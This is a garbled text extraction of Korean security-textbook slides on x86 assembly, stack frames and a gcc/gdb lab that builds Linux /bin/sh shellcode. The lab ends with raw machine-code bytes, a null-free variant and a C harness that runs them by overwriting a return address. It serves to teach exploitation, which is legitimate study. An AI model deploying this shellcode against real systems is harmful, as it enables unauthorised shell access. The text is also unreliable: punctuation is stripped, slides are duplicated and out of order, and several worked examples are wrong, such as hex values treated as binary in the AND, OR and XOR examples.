bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 34: 80×86  시스템에 대한 이해

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108
